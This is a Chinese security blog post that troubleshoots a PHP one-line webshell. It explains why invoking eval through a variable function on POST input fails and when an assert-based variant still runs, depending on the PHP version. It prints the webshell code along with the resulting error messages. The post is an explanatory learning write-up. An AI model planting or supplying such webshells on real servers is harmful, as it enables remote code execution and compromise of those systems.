首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >一句话木马踩坑记

一句话木马踩坑记

作者头像
用户5878089
发布2019-11-07 16:23:16
发布2019-11-07 16:23:16
1.9K00
代码可运行
举报
运行总次数:0
代码可运行

前言

我太菜了,今天有学弟拿着一个一句话过来找我,说链接不上

代码语言:javascript
代码运行次数:0
运行
复制
<?php
$a="eval";
$a(@$_POST['a']);
?>

最开始以为是版本的问题

然后开始踩坑了

测试

我自己用带毒的phpstudy测试了一下:

在php5的版本里面报错:

代码语言:javascript
代码运行次数:0
运行
复制
Fatal error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

在php7里面报错:

代码语言:javascript
代码运行次数:0
运行
复制
Fatal error: Uncaught Error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php:3 Stack trace: #0 {main} thrown in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

请教了一个大佬:

代码语言:javascript
代码运行次数:0
运行
复制
我:
<?php
$a = "eval";
$a(@$_POST['a']);
?>
这种木马 您能用吗
大佬:
咋不能用?
大佬:
一个简单的变形没看懂吗
我:
php的文档说 eval不是函数  
大佬:
本来就是语言构造器
我:
您测试成功了马
大佬:
你网上花钱找个师傅吧 我不提供问题解答哈
我:
哦 好吧
大佬:
Assert也是一样可以的,自己试

好尴尬啊,被大佬教育了一波,我太菜了,于是乎查了查文档,然后自己又测试了一下:

给了一个合理的解释:

eval是因为是一个语言构造器而不是一个函数,不能被可变函数调用。

什么是可变函数呢:

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。 可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

所以我在怀疑,有些大佬们都是照抄assert的变形方式没有测试过就放到博客上了就是说,如果换了assert,这个是可以用的

结论:

eval不能用,assert可以用。

深入

在php5的版本:

正常

继续测试一下assert

在php7.0的版本:

正常

在php7.1往后的版本:

代码语言:javascript
代码运行次数:0
运行
复制
Warning: Cannot call assert() with string argument dynamically in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3

网上搜索了一下:

代码语言:javascript
代码运行次数:0
运行
复制
assert()默认不在可以执行代码
这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

这样一看问题基本明晰了,然后又看了一眼文档

7.0.0 assert() is now a language construct and not a function. assertion() can now be an expression. The second parameter is now interpreted either as an exception (if a Throwable object is given), or as the description supported from PHP 5.4.8 onwards.

在php7里面 是语言构造器。

结论

eval不能用,php7.1之后assert()也不能用

最后说一下,蚁剑是可以用assert的,不过编码最后使用base64

后记

直接百度了一下:

还是有几个大佬写的有这种问题的。

最后可能是我认知上出现了问题,冒犯到大佬,还望见谅。

有不当之处,多多指正,感谢大佬们教我做人。

我还是太菜了。

相关链接

https://www.php.net/manual/zh/functions.variable-functions.php

https://www.php.net/manual/zh/function.assert.php

http://www.vuln.cn/8395

https://www.xmsec.cc/few-security-changes-between-php-7-and-php-5/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-11-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
    • 测试
    • 深入
    • 后记
    • 相关链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档